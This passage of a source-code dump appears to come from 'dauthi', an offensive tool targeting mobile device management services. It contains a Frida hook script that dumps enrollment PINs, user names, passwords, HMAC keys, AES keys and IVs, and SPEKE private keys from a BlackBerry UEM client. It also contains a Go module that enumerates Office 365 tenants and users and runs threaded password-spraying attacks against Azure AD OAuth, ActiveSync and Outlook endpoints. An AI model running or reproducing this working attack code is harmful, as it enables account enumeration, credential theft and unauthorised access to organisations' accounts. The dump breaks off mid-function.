| // Change App setting for Debug Logging 40 | UtilT["hodor"].implementation = function () { 41 | console.log('[*] Caught emalib.util.t') 42 | console.log('[*] Currenlty Log Level: '+this.hodor()) 43 | let contextImpl = Java.cast(this._hodoR.value, Java.use("android.app.ContextImpl")) 44 | let SharedPreferencesImpl = Java.cast(contextImpl.getSharedPreferences("com.rim.mobilefusion.client", 0), Java.use("android.app.SharedPreferencesImpl")) 45 | let SharedPreferencesImpl_edit = Java.cast(SharedPreferencesImpl.edit(), Java.use("android.app.SharedPreferencesImpl$EditorImpl")) 46 | let putDebug = Java.cast(SharedPreferencesImpl_edit.putBoolean("debugLoggingMode", true), Java.use("android.app.SharedPreferencesImpl$EditorImpl")) 47 | putDebug.apply() 48 | console.log('[+] Set Debug Logger') 49 | return true; 50 | }; 51 | 52 | // Modify debug logger check 53 | LoggingLog["isDebugEnabled"].implementation = function () { 54 | console.log('[*] Caught commons.logging.Log'); 55 | console.log('[+] Setting Debug Logging State'); 56 | return true; 57 | }; 58 | 59 | // Get HMAC-SHA512 Buffer Strings 60 | var hmacBuff = new Array(); 61 | UtilE["hodor"].implementation = function (str) { 62 | if (str.length < 51) { // DB strings are about 51 characters 63 | hmacBuff.push(str) 64 | } 65 | return this.hodor(str); 66 | }; 67 | 68 | // Get HmacSHA512 Result Value 69 | UtilE["hodoR"].implementation = function () { 70 | // Add static salt 71 | hmacBuff.push("0x"+bytes2hex(this._hodor.value)) 72 | console.log("[+] HMAC-Buff: "+JSON.stringify(hmacBuff)) 73 | // Pull HMAC Key 74 | console.log('[+] HMAC Key: '+this.hoDoR.value) 75 | 76 | let ret = this.hodoR(); 77 | console.log('[+] B64 HmacSHA512: ' + ret); 78 | return ret; 79 | }; 80 | 81 | // Get Discovery POST XML Payload 82 | h0dooor["hod0R"].implementation = function(str1, str2) { 83 | console.log("[*] Disco URI: "+str1); 84 | console.log("[*] Disco XML POST Body: \n"+str2); 85 | 86 | return this.hod0R(str1, str2) 87 | }; 88 | 89 | // Enrollment Cleartext Request 90 | EnrollInterface["enrollment_create"].implementation = function (str, str2, cArr, str3, str4, str5, str6, str7, str8) { 91 | console.log('[*] Caught Enrollment') 92 | console.log(' [+] PIN: '+str) 93 | console.log(' [+] User: '+str2) 94 | console.log(' [+] Password Char: '+cArr) 95 | console.log(' [+] API v: '+str3) 96 | console.log(' [+] Device: '+str7) 97 | console.log(' [+] Ciper: '+str8) 98 | 99 | let ret = this.enrollment_create(str, str2, cArr, str3, str4, str5, str6, str7, str8); 100 | console.log('[+] EnrollmentID: ' + ret); 101 | return ret; 102 | }; 103 | 104 | // Enrollment Return Data 105 | EnrollInterface["enrollment_get_request"].implementation = function (j) { 106 | let ret = this.enrollment_get_request(j); 107 | console.log('[*] Encrypted Enrollment Data: \n' + ret); 108 | return ret; 109 | }; 110 | var libspekexp_addr = Module.findBaseAddress("libspekexp.so") 111 | console.log("[+] libspekexp_addr is: "+libspekexp_addr) 112 | 113 | if (libspekexp_addr) { 114 | // console.log('[*] Libspekexp Exports: ') 115 | // Process.findModuleByName("libspekexp.so").enumerateExports().forEach(function(exp) { 116 | // if (exp.address != null) { 117 | // if (exp.name.includes("enrollment")) { 118 | // console.log(" [+] Enrollment Interface: "+exp.name) 119 | // } else if (exp.name.includes("aes")) { 120 | // console.log(" [+] AES Export: "+exp.name) 121 | // } 122 | // } 123 | // }) 124 | 125 | var enrollment_create = Module.findExportByName("libspekexp.so", "enrollment_create") 126 | console.log("[+] enrollment_create is: "+enrollment_create) 127 | var speke_getRandom = Module.findExportByName("libspekexp.so", "speke_getRandom") 128 | console.log("[+] speke_getRandom is: "+speke_getRandom) 129 | var speke_negotiator_create = Module.findExportByName("libspekexp.so", "speke_negotiator_create") 130 | console.log("[+] speke_negotiator_create is: "+speke_negotiator_create) 131 | var speke_negotiator_get_client_public_key = Module.findExportByName("libspekexp.so", "speke_negotiator_get_client_public_key") 132 | console.log("[+] speke_negotiator_get_client_public_key is: "+speke_negotiator_get_client_public_key) 133 | var speke_generateClientKeys = Module.findExportByName("libspekexp.so", "speke_generateClientKeys") 134 | console.log("[+] speke_generateClientKeys is: "+speke_generateClientKeys) 135 | var speke_aes_encrypt = Module.findExportByName("libspekexp.so", "speke_aes_encrypt") 136 | console.log("[+] speke_aes_encrypt is: "+speke_aes_encrypt) 137 | 138 | // Key/IV Recovery 139 | // speke_aes_encrypt(int param_1,int param_2,long param_3,long param_4,long param_5,void *param_6,long param_7,long param_8,size_t *param_9,void **param_10) 140 | Interceptor.attach(speke_aes_encrypt, { 141 | onEnter: function (args) { 142 | console.log("[*] HIT speke_aes_encrypt") 143 | var cLength = args[2].toInt32() 144 | var ivLength = args[4].toInt32() 145 | 146 | console.log("[+] aes256-CBC Key: 0x"+bytes2hex(new Uint8Array(args[3].readByteArray(cLength)))) 147 | console.log("[+] aes256-CBC IV: 0x"+bytes2hex(new Uint8Array(args[5].readByteArray(ivLength)))) 148 | }, 149 | onLeave: function () {} 150 | }) 151 | 152 | // enrollment_create(char *ptr_pin,char *ptr_usr,char *ptr_pass,ulong ptr_passLength,char *param_5,char *param_6,void *param_7,ulong param_8,char *param_9,void **param_10,char *param_11,char *cipher) 153 | Interceptor.attach(enrollment_create, { 154 | onEnter: function (args) { 155 | console.log("[*] HIT enrollment_create NATIVE") 156 | console.log("[+] Encrypted User: "+Memory.readCString(args[0])) 157 | }, 158 | onLeave: function () {} 159 | }) 160 | 161 | // speke_getRandom(size_t param_1,void **param_2) 162 | var rndLength, getRandom1 163 | Interceptor.attach(speke_getRandom, { 164 | onEnter: function (args) { 165 | console.log("[*] HIT speke_getRandom") 166 | rndLength = args[0].toInt32() 167 | getRandom1 = args[1] 168 | }, 169 | onLeave: function () { 170 | var buf1 = getRandom1.readByteArray(5) 171 | let p1 = edianPTR(new Uint8Array(buf1)) 172 | console.log("[+] RAND TransactionID: 0x"+bytes2hex(new Uint8Array(p1.readByteArray(rndLength)))) 173 | } 174 | }) 175 | 176 | // int speke_negotiator_create(undefined8 passwd,undefined8 passwdLength,char *param_3,void **param_4) 177 | var negCreate1 178 | Interceptor.attach(speke_negotiator_create, { 179 | onEnter: function (args) { 180 | console.log("[*] HIT speke_negotiator_create") 181 | negCreate1 = args[3] 182 | 183 | console.log("[+] SPEKE Cipher: "+Memory.readCString(args[2])) 184 | }, 185 | onLeave: function (retval) { 186 | console.log('[**] speke_negotiator_create RET: '+retval) 187 | 188 | var p1 = edianPTR(new Uint8Array(negCreate1.readByteArray(5))) 189 | var p2 = edianPTR(new Uint8Array(p1.readByteArray(5))) 190 | console.log('[**] speke_negotiator_create RET ARGS[3]: 0x'+bytes2hex(new Uint8Array(p2.readByteArray(66)))) 191 | } 192 | }) 193 | 194 | // (0xf0,passwdLength,passwd,(long)__ptr + 8,__ptr,(long)__ptr + 0x18,(long)__ptr + 0x10) 195 | var clientKey = new Array() 196 | Interceptor.attach(speke_generateClientKeys, { 197 | onEnter: function (args) { 198 | console.log("[*] HIT speke_generateClientKeys") 199 | for (var i=0; i<8; ++i) { 200 | clientKey.push(args[i]) 201 | } 202 | }, 203 | onLeave: function (retval) { 204 | console.log('[**] speke_generateClientKeys RET: '+JSON.stringify(retval)) 205 | var priLength = clientKey[3].readU32() 206 | var pubLength = clientKey[5].readU32() 207 | 208 | let p1 = edianPTR(new Uint8Array(clientKey[4].readByteArray(5))) 209 | console.log("[+] SPEKE(priKey) Length: "+priLength+" Val: 0x"+bytes2hex(new Uint8Array(p1.readByteArray(priLength)))) 210 | let p2 = edianPTR(new Uint8Array(clientKey[6].readByteArray(5))) 211 | console.log("[+] SPEKE(pubKey) Length: "+pubLength+" Val: 0x"+bytes2hex(new Uint8Array(p2.readByteArray(pubLength)))) 212 | } 213 | }) 214 | 215 | 216 | var speke_utility_createContexts = Module.findExportByName("libspekexp.so", "speke_utility_createContexts") 217 | console.log("[+] speke_utility_createContexts is: "+speke_utility_createContexts) 218 | var hu_ECCParamsCreate = Module.findExportByName("libspekexp.so", " hu_ECCParamsCreate") 219 | console.log("[+] hu_ECCParamsCreate is: "+ hu_ECCParamsCreate) 220 | var hu_ECSPEKEKeyGet = Module.findExportByName("libspekexp.so", " hu_ECSPEKEKeyGet") 221 | console.log("[+] hu_ECSPEKEKeyGet is: "+ hu_ECSPEKEKeyGet) 222 | var hu_ECCKeyGet = Module.findExportByName("libspekexp.so", " hu_ECCKeyGet") 223 | console.log("[+] hu_ECCKeyGet is: "+ hu_ECCKeyGet) 224 | var speke_ecc_generateClientKeys = Module.findExportByName("libspekexp.so", " speke_ecc_generateClientKeys") 225 | console.log("[+] speke_ecc_generateClientKeys is: "+ speke_ecc_generateClientKeys) 226 | var speke_registry_generateClientKeys = Module.findExportByName("libspekexp.so", " speke_registry_generateClientKeys") 227 | console.log("[+] speke_registry_generateClientKeys is: "+ speke_registry_generateClientKeys) 228 | var speke_ecc_generateSharedKey = Module.findExportByName("libspekexp.so", " speke_ecc_generateSharedKey") 229 | console.log("[+] speke_ecc_generateSharedKey is: "+ speke_ecc_generateSharedKey) 230 | var _set_fixed_csr = Module.findExportByName("libspekexp.so", " _set_fixed_csr") 231 | console.log("[+] _set_fixed_csr is: "+ _set_fixed_csr) 232 | var hu_ECSPEKEKeyGen = Module.findExportByName("libspekexp.so", " hu_ECSPEKEKeyGen") 233 | console.log("[+] hu_ECSPEKEKeyGen is: "+ hu_ECSPEKEKeyGen) 234 | 235 | 236 | // speke_utility_createContexts(&local_a0,&local_98); 237 | var createContexts = new Array() 238 | Interceptor.attach(speke_utility_createContexts, { 239 | onEnter: function (args) { 240 | console.log("[*] HIT speke_utility_createContexts") 241 | for (var i=0; i<2; ++i) { 242 | createContexts.push(args[i]) 243 | console.log(" [**] speke_utility_createContexts ARGS["+i+"]: 0x"+bytes2hex(new Uint8Array(args[i].readByteArray(32)))) 244 | } 245 | }, 246 | onLeave: function (retval) { 247 | console.log('[**] speke_utility_createContexts RET: '+JSON.stringify(retval)) 248 | for (var i=0; i<2; ++i) { 249 | if (bytes2hex(new Uint8Array(createContexts[i].readByteArray(2))) != "0000") { 250 | var p1 = edianPTR(new Uint8Array(createContexts[i].readByteArray(5))) 251 | console.log(" [**] speke_utility_createContexts RET ARGS["+i+"]: 0x"+bytes2hex(new Uint8Array(p1.readByteArray(32)))) 252 | } else { 253 | console.log(" [**] speke_utility_createContexts RET ARGS["+i+"]: 0x"+bytes2hex(new Uint8Array(createContexts[i].readByteArray(32)))) 254 | } 255 | 256 | } 257 | } 258 | }) 259 | } 260 | }); 261 | } 262 | },0); 263 | -------------------------------------------------------------------------------- /charges/intune/intune.go: -------------------------------------------------------------------------------- 1 | package intune 2 | 3 | import ( 4 | "dauthi/utils" 5 | "encoding/base64" 6 | "fmt" 7 | "regexp" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | type mdma struct { 13 | opts utils.ChargeOpts 14 | logr *utils.Logger 15 | tenant []string 16 | domain []string 17 | tokenURL string 18 | cycle 19 | } 20 | 21 | type cycle struct { 22 | buff *chan bool 23 | block *chan bool 24 | length int 25 | api *utils.API 26 | } 27 | 28 | const ( 29 | Usage = ` 30 | Intune Options: 31 | -a User-Agent for request [default: Agent/20.08.0.23/Android/11] 32 | 33 | -tenant o365 Tenant 34 | ` 35 | 36 | // Methods are available tool methods 37 | Methods = ` 38 | Intune Methods: 39 | disco intune endpoint discovery query 40 | disco-tenant o365 tenant/domain query 41 | prof-outlook Outlook Mobile service profiling 42 | enum-onedrive o365 onedrive email enumeration of target o365 tenant 43 | enum-onedrive-full o365 onedrive email enumeration of all o365 tenant/domains 44 | enum-outlook Outlook Mobile user enumeration 45 | auth-async SFA against 0365 Active-Sync endpoint 46 | auth-msol SFA against o365 OAuth endpoint 47 | auth-outlook SFA against o365 Outlook Basic Auth 48 | ` 49 | 50 | discoveryAPI = `https://enterpriseenrollment.%s` 51 | onedriveAPI = `https://%s-my.sharepoint.com/personal/%s/_layouts/15/onedrive.aspx` 52 | tenantAPI = `https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc` 53 | openIDAPI = `https://login.windows.net/%s/.well-known/openid-configuration` 54 | outlookAuthAPI = `https://outlook.office365.com/shadow/v2.0/authentication` 55 | asyncAPI = `https://outlook.office365.com/Microsoft-Server-ActiveSync` 56 | outlookMobileAPI = `https://prod-autodetect.outlookmobile.com/detect?services=office365,outlook,google,yahoo,icloud,yahoo.co.jp&protocols=all&timeout=20` 57 | 58 | tenantPOST = `http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/` + 62 | `GetFederationInformationhttps://autodiscover-s.outlook.com/autodiscover/autodiscover.svc` + 63 | `http://www.w3.org/2005/08/addressing/anonymous` + 64 | `%s` + 65 | `` 66 | 67 | msolPOST = `resource=https://graph.windows.net&client_id=a7aff123-97b3-498e-b2d4-c9d6f9fcc34a&client_info=1&grant_type=password` + 68 | `&scope=openid&username=%s&password=%s` 69 | 70 | outlookAuthAPIPost = `{"client_id": "OutlookMobile", "grant_type": "remote_shadow_authorization", "remote_auth_provider": "OnPremiseExchange", ` + 71 | `"remote_auth_protocol": "BasicAuth", "remote_server": {"hostname": "outlook.office365.com", "disable_certificate_validation": true}, ` + 72 | `"remote_auth_credential": {"userId": "%s", "secret": "%s", "email_address": "%s"}, ` + 73 | `"display_name": "%s"}` 74 | ) 75 | 76 | func b64encode(v []byte) string { 77 | return base64.StdEncoding.EncodeToString(v) 78 | } 79 | 80 | func b64decode(v string) []byte { 81 | data, _ := base64.StdEncoding.DecodeString(v) 82 | return data 83 | } 84 | 85 | // Init mdma with default values and return obj 86 | func Init(o utils.ChargeOpts) *mdma { 87 | if o.Agent == "" { 88 | o.Agent = "Agent/20.08.0.23/Android/11" 89 | } 90 | if o.RUUID { 91 | o.UUID = utils.RandUUID(21) 92 | } 93 | log := utils.NewLogger("intune") 94 | 95 | return &mdma{ 96 | opts: o, 97 | tenant: []string{}, 98 | domain: []string{}, 99 | logr: log, 100 | cycle: cycle{ 101 | api: &utils.API{ 102 | Debug: o.Debug, 103 | Log: log, 104 | Proxy: o.Proxy}, 105 | }, 106 | } 107 | } 108 | 109 | // clone() copies an *mdma for process threading 110 | func (m *mdma) clone() *mdma { 111 | clone := Init(m.opts) // assign target 112 | clone.domain = m.domain 113 | clone.tenant = m.tenant 114 | clone.cycle.block = m.cycle.block 115 | clone.cycle.buff = m.cycle.buff 116 | 117 | return clone 118 | } 119 | 120 | // Wrapper to parse JSON/XML objects 121 | func (m *mdma) parser(data interface{}, p string) bool { 122 | switch p { 123 | case "json": 124 | err := m.cycle.api.Resp.ParseJSON(data) 125 | if err != nil { 126 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 127 | return true 128 | } 129 | 130 | case "xml": 131 | err := m.cycle.api.Resp.ParseXML(data) 132 | if err != nil { 133 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 134 | return true 135 | } 136 | } 137 | 138 | return false 139 | } 140 | 141 | func (m *mdma) pullDomains(silent bool) { 142 | var domains struct { 143 | Domain []string `xml:"Body>GetFederationInformationResponseMessage>Response>Domains>Domain"` 144 | } 145 | 146 | m.cycle.api.Name = `autodiscover` 147 | m.cycle.api.URL = tenantAPI 148 | m.cycle.api.Data = fmt.Sprintf(tenantPOST, m.opts.Endpoint) 149 | m.cycle.api.Method = `POST` 150 | m.cycle.api.Opts = &map[string]interface{}{ 151 | "Header": map[string][]string{ 152 | "Content-Type": []string{"text/xml; charset=utf-8"}, 153 | "SOAPAction": []string{"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"}, 154 | "User-Agent": []string{"AutodiscoverClient"}, 155 | "Accept-Encoding": []string{"identity"}}} 156 | m.cycle.api.Proxy = "" //Proxy request hangs for API call? 157 | 158 | m.cycle.api.WebCall() 159 | if m.cycle.api.Resp.Status != 200 { 160 | m.logr.Failf([]interface{}{m.opts.Method}, "Tenant Request Failed") 161 | return 162 | } 163 | 164 | if m.parser(&domains, "xml") { 165 | return 166 | } 167 | 168 | domcount, tencount := 0, 0 169 | for _, dom := range domains.Domain { 170 | if strings.Contains(dom, "onmicrosoft.com") { 171 | tencount++ 172 | dom := strings.Replace(dom, ".onmicrosoft.com", "", -1) 173 | m.tenant = append(m.tenant, dom) 174 | } else { 175 | domcount++ 176 | m.domain = append(m.domain, dom) 177 | } 178 | } 179 | 180 | if !silent { 181 | if tencount > 0 { 182 | m.logr.Infof([]interface{}{tencount}, "o365 Tenant(2) Identified") 183 | for _, v := range m.tenant { 184 | m.logr.Successf([]interface{}{v}, "Tenant Domain") 185 | } 186 | } 187 | 188 | if domcount > 0 { 189 | m.logr.Infof([]interface{}{domcount}, "o365 Domain(s) Identified") 190 | for _, v := range m.domain { 191 | m.logr.Successf([]interface{}{v}, "Alias Domain") 192 | } 193 | } 194 | } 195 | } 196 | 197 | func (m *mdma) getToken() { 198 | var token struct { 199 | TokenURL string `json:"token_endpoint"` 200 | } 201 | 202 | m.cycle.api.Name = `openid-query` 203 | m.cycle.api.URL = fmt.Sprintf(openIDAPI, m.opts.Endpoint) 204 | m.cycle.api.Data = "" 205 | m.cycle.api.Method = `GET` 206 | m.cycle.api.Opts = &map[string]interface{}{ 207 | "Header": map[string][]string{ 208 | "User-Agent": []string{m.opts.Agent}}} 209 | 210 | m.cycle.api.WebCall() 211 | 212 | // Validate response status 213 | if m.cycle.api.Resp.Status != 200 { 214 | if m.opts.Debug > 0 { 215 | m.logr.Debugf([]interface{}{m.opts.Endpoint}, "Invalid Server Response Code: %v", m.cycle.api.Resp.Status) 216 | } 217 | m.logr.Errorf([]interface{}{"openid-query"}, "Failed to identify tenant ID") 218 | return 219 | } 220 | 221 | if m.parser(&token, "json") { 222 | return 223 | } 224 | 225 | m.tokenURL = token.TokenURL 226 | } 227 | 228 | func (m *mdma) disco() { 229 | m.cycle.api.Name = `discoveryAPI` 230 | m.cycle.api.URL = fmt.Sprintf(discoveryAPI, m.opts.Endpoint) 231 | m.cycle.api.Data = "" 232 | m.cycle.api.Method = `GET` 233 | m.cycle.api.Opts = nil 234 | 235 | m.cycle.api.WebCall() 236 | 237 | // Validate response status 238 | if m.cycle.api.Resp.Status != 302 { 239 | if m.opts.Debug > 0 { 240 | m.logr.Debugf([]interface{}{m.opts.Endpoint}, "Invalid Server Response Code: %v", m.cycle.api.Resp.Status) 241 | } 242 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Discovery Failed") 243 | return 244 | } 245 | m.validate() 246 | } 247 | 248 | func (m *mdma) prof() { 249 | m.cycle.api.Name = m.opts.Method 250 | m.cycle.api.URL = outlookMobileAPI 251 | m.cycle.api.Data = "" 252 | m.cycle.api.Method = `GET` 253 | m.cycle.api.Opts = &map[string]interface{}{ 254 | "Header": map[string][]string{ 255 | "User-Agent": []string{m.opts.Agent}, 256 | "X-Email": []string{m.opts.UserName}}} 257 | 258 | m.cycle.api.WebCall() 259 | 260 | // Validate response status 261 | if m.cycle.api.Resp.Status != 200 { 262 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Profiling Failed") 263 | return 264 | } 265 | m.validate() 266 | } 267 | 268 | func (m *mdma) auth() { 269 | var file []byte 270 | var err error 271 | 272 | if m.opts.File != "" { 273 | file, err = utils.ReadFile(m.opts.File) 274 | if err != nil { 275 | m.logr.Fatalf([]interface{}{m.opts.File}, "File Read Failure") 276 | } 277 | } 278 | 279 | lines := strings.Split(string(file), "\n") 280 | block := make(chan bool, m.opts.Threads) 281 | buff := make(chan bool, len(lines)) 282 | m.cycle.block = &block 283 | m.cycle.buff = &buff 284 | m.cycle.length = len(lines) 285 | 286 | if m.opts.Method != "enum-onedrive-full" { 287 | m.logr.Infof([]interface{}{m.opts.Method}, "threading %d values across %d threads", m.cycle.length, m.opts.Threads) 288 | } 289 | 290 | if m.opts.Method == "auth-msol" { 291 | m.getToken() 292 | if m.tokenURL == "" { 293 | m.logr.Errorf([]interface{}{m.opts.Method}, "Unable to identify Token Endpoint") 294 | return 295 | } 296 | } 297 | 298 | for _, line := range lines { 299 | if len(lines) > 1 && line == "" { 300 | *m.cycle.buff <- false 301 | continue 302 | } 303 | 304 | target := m.clone() 305 | 306 | if line == "" { 307 | line = target.opts.UserName 308 | } else { 309 | target.opts.UserName = line 310 | } 311 | 312 | switch m.opts.Method { 313 | case "enum-onedrive": 314 | udscore := regexp.MustCompile(`(?:@|\.)`) 315 | 316 | target.cycle.api.Name = target.opts.Method 317 | target.cycle.api.URL = fmt.Sprintf(onedriveAPI, target.opts.Tenant, udscore.ReplaceAllString(target.opts.UserName+"@"+target.opts.Endpoint, `_`)) 318 | target.cycle.api.Data = "" 319 | target.cycle.api.Method = `GET` 320 | target.cycle.api.Opts = &map[string]interface{}{ 321 | "Header": map[string][]string{ 322 | "User-Agent": []string{target.opts.Agent}}} 323 | 324 | case "enum-onedrive-full": 325 | if target.opts.Tenant == "" || 326 | len(target.domain) == 0 { 327 | target.pullDomains(true) 328 | 329 | if len(target.tenant) == 0 { 330 | m.logr.Errorf([]interface{}{target.opts.Method}, "Failed to pull tenant details") 331 | return 332 | } 333 | 334 | m.logr.Infof([]interface{}{target.opts.Method}, "threading %d values across %d threads", len(lines)*(len(target.tenant)*len(target.domain)), target.opts.Threads) 335 | for _, ten := range target.tenant { 336 | if !utils.Resolver(ten + "-my.sharepoint.com") { 337 | m.logr.Infof([]interface{}{target.opts.Method, ten}, "Tenant non-Resolvable: tasklist decreased of %v", len(lines)*len(target.domain)) 338 | continue // Skip Unresolvable 339 | } 340 | 341 | for _, dom := range target.domain { 342 | target.opts.Tenant = ten 343 | target.opts.Endpoint = dom 344 | target.auth() 345 | } 346 | } 347 | return 348 | } else { 349 | udscore := regexp.MustCompile(`(?:@|\.)`) 350 | 351 | target.cycle.api.Name = target.opts.Method 352 | target.cycle.api.URL = fmt.Sprintf(onedriveAPI, target.opts.Tenant, udscore.ReplaceAllString(target.opts.UserName+"@"+target.opts.Endpoint, `_`)) 353 | target.cycle.api.Data = "" 354 | target.cycle.api.Method = `GET` 355 | target.cycle.api.Opts = &map[string]interface{}{ 356 | "Header": map[string][]string{ 357 | "User-Agent": []string{target.opts.Agent}}} 358 | 359 | target.thread() 360 | continue 361 | } 362 | 363 | case "enum-outlook": 364 | target.cycle.api.Name = target.opts.Method 365 | target.cycle.api.URL = outlookMobileAPI 366 | target.cycle.api.Data = "" 367 | target.cycle.api.Method = `GET` 368 | target.cycle.api.Opts = &map[string]interface{}{ 369 | "Header": map[string][]string{ 370 | "User-Agent": []string{target.opts.Agent}, 371 | "X-Email": []string{target.opts.UserName}}} 372 | 373 | case "auth-msol": 374 | target.cycle.api.Name = target.opts.Method 375 | target.cycle.api.URL = m.tokenURL 376 | target.cycle.api.Data = fmt.Sprintf(msolPOST, target.opts.UserName, target.opts.Password) 377 | target.cycle.api.Method = `POST` 378 | target.cycle.api.Opts = &map[string]interface{}{ 379 | "Header": map[string][]string{ 380 | "Accept-Encoding": []string{"gzip, deflate"}, 381 | "Accept": []string{"application/json"}, 382 | "Content-Type": []string{"application/x-www-form-urlencoded"}, 383 | "User-Agent": []string{"Windows-AzureAD-Authentication-Provider/1.0 3236.84364"}}} 384 | 385 | case "auth-outlook": 386 | target.cycle.api.Name = target.opts.Method 387 | target.cycle.api.URL = outlookAuthAPI 388 | target.cycle.api.Data = fmt.Sprintf(outlookAuthAPIPost, target.opts.UserName, target.opts.Password, target.opts.Email, target.opts.Email) 389 | target.cycle.api.Method = `POST` 390 | target.cycle.api.Opts = &map[string]interface{}{ 391 | "Header": map[string][]string{ 392 | "X-DeviceType": []string{"Android"}, 393 | "Accept": []string{"application/json"}, 394 | "User-Agent": []string{"Outlook-Android/2.0"}, 395 | "X-DeviceId": []string{utils.RandGUID()}, 396 | "X-Shadow": []string{"2a6af961-7d3c-416b-bcfe-72ac4531e659"}, 397 | "Content-Type": []string{"application/json"}}} 398 | 399 | case "auth-async": 400 | target.cycle.api.Name = target.opts.Method 401 | target.cycle.api.URL = asyncAPI 402 | target.cycle.api.Data = `` 403 | target.cycle.api.Method = `OPTIONS` 404 | target.cycle.api.Opts = &map[string]interface{}{ 405 | "Header": map[string][]string{ 406 | "User-Agent": []string{target.opts.Agent}, 407 | "Authorization": []string{b64encode([]byte(target.opts.UserName + ":" + target.opts.Password))}, 408 | "Content-Type": []string{"application/x-www-form-urlencoded"}}} 409 | 410 | default: 411 | m.logr.Failf([]interface{}{m.opts.Method}, "Unknown Method Called") 412 | } 413 | target.thread() 414 | } 415 | 416 | for i := 0; i < m.cycle.length; i++ { 417 | <-*m.cycle.buff 418 | } 419 | close(*m.cycle.block) 420 | close(*m.cycle.buff) 421 | } 422 | 423 | // thread represents the threading process to loop multiple requests 424 | func (m *mdma) thread() { 425 | *m.cycle.block <- true 426 | go func() { 427 | m.cycle.api.WebCall() 428 | 429 | if m.cycle.api.Resp.Status == 0 { 430 | if m.opts.Miss < m.opts.Retry { 431 | m.opts.Miss++ 432 | m.logr.Infof([]interface{}{m.opts.Tenant, m.opts.Endpoint, m.opts.UserName, m.opts.Password}, "Retrying Request") 433 | <-*m.cycle.block 434 | m.thread() 435 | return 436 | } 437 | m.logr.Failf([]interface{}{m.opts.Tenant, m.opts.Endpoint, m.opts.UserName, m.opts.Password}, "Null Server Response") 438 | } 439 | m.validate() 440 | 441 | // Sleep interval through thread loop 442 | time.Sleep(time.Duration(m.opts.Sleep) * time.Second) 443 | <-*m.cycle.block 444 | *m.cycle.buff <- true 445 | }() 446 | } 447 | 448 | func (m *mdma) validate() { 449 | switch m.opts.Method { 450 | case "disco": 451 | if m.cycle.api == nil { 452 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Discovery Failed") 453 | } else if m.cycle.api.Resp.Header["Location"][0] == "https://intune.microsoft.com/" { 454 | m.logr.Successf([]interface{}{"intune.microsoft.com"}, "Endpoint Discovered") 455 | } 456 | 457 | case "enum-onedrive", "enum-onedrive-full": 458 | if m.cycle.api.Resp.Status == 302 { 459 | if len(m.cycle.api.Resp.Header["Location"]) > 0 { 460 | if strings.Contains(m.cycle.api.Resp.Header["Location"][0], "my.sharepoint.com") { 461 | m.logr.Successf([]interface{}{m.opts.Tenant, m.opts.Endpoint, m.opts.UserName}, "Valid User") 462 | } else { 463 | break 464 | } 465 | } else { 466 | break 467 | } 468 | } 469 | m.logr.Failf([]interface{}{m.opts.Tenant, m.opts.Endpoint, m.opts.UserName}, "Invalid User") 470 | 471 | case "enum-outlook", "prof-outlook": 472 | var check struct { 473 | Email string `json:"email"` 474 | Services []struct { 475 | Hostname string `json:"hostname"` 476 | Protocol string `json:"protocol"` 477 | Service string `json:"service"` 478 | AAD string `json:"aad"` 479 | } `json:"services"` 480 | Protocols []struct { 481 | Protocol string `json:"protocol"` 482 | Hostname string `json:"hostname"` 483 | AAD string `json:"aad"` 484 | } `json:"protocols"` 485 | } 486 | 487 | if m.cycle.api.Resp.Status != 200 { 488 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Nonexistent Domain") 489 | return 490 | } else if m.parser(&check, "json") { 491 | return 492 | } 493 | 494 | if m.opts.Method == "prof-outlook" { 495 | if len(check.Services) > 0 { 496 | for _, i := range check.Services { 497 | m.logr.Successf([]interface{}{i.Service, i.Protocol, i.Hostname}, "Supported Service: %s", i.AAD) 498 | } 499 | } 500 | if len(check.Protocols) > 0 { 501 | for _, i := range check.Protocols { 502 | m.logr.Successf([]interface{}{i.Protocol, i.Hostname}, "Supported Protocol: %s", i.AAD) 503 | } 504 | } 505 | return 506 | } 507 | 508 | if len(check.Services) > 0 { 509 | m.logr.Successf([]interface{}{m.opts.UserName}, "Valid User") 510 | return 511 | } 512 | m.logr.Failf([]interface{}{m.opts.UserName}, "Invalid User") 513 | 514 | case "auth-msol": 515 | if m.cycle.api.Resp.Status == 200 { 516 | m.logr.Successf([]interface{}{m.opts.UserName, m.opts.Password}, "Successful Authentication") 517 | } else if m.cycle.api.Resp.Status == 400 { 518 | var check struct { 519 | Error string `json:"error_description"` 520 | } 521 | if m.parser(&check, "json") { 522 | return 523 | } 524 | // Error Message Body 525 | // AADSTS50126: Error validating credentials due to invalid username or password.\r\n 526 | re := regexp.MustCompile(`^(.+?): (.+?)\n`) 527 | data := re.FindStringSubmatch(check.Error) 528 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password, data[1]}, "%s", data[2]) 529 | 530 | } else { 531 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password}, "Unknown Response") 532 | } 533 | 534 | case "auth-outlook": 535 | m.logr.Infof([]interface{}{m.opts.Method}, "Under development") 536 | m.logr.Infof([]interface{}{m.opts.Method}, "Status: %v - Headers: %v - Body: %s", m.cycle.api.Resp.Status, m.cycle.api.Resp.Header, m.cycle.api.Resp.Body) 537 | 538 | case "auth-async": 539 | if m.cycle.api.Resp.Status == 200 { 540 | m.logr.Successf([]interface{}{m.opts.UserName, m.opts.Password}, "Successful Authentication") 541 | return 542 | } 543 | m.logr.Failf([]interface{}{m.opts.Email, m.opts.Password}, "Failed Authentication") 544 | 545 | } 546 | } 547 | 548 | // Call represents the switch function for activating all class methods 549 | func (m *mdma) Call() { 550 | switch m.opts.Method { 551 | case "disco": 552 | m.disco() 553 | 554 | case "disco-tenant": 555 | m.pullDomains(false) 556 | 557 | case "prof-outlook": 558 | if m.opts.Email == "" && m.opts.File == "" { 559 | m.logr.Errorf([]interface{}{m.opts.Method}, "Email/File required") 560 | return 561 | } 562 | m.opts.UserName = m.opts.Email 563 | m.prof() 564 | 565 | case "enum-onedrive": 566 | if m.opts.UserName == "" && 567 | m.opts.File == "" || 568 | m.opts.Tenant == "" { 569 | m.logr.Errorf([]interface{}{m.opts.Method}, 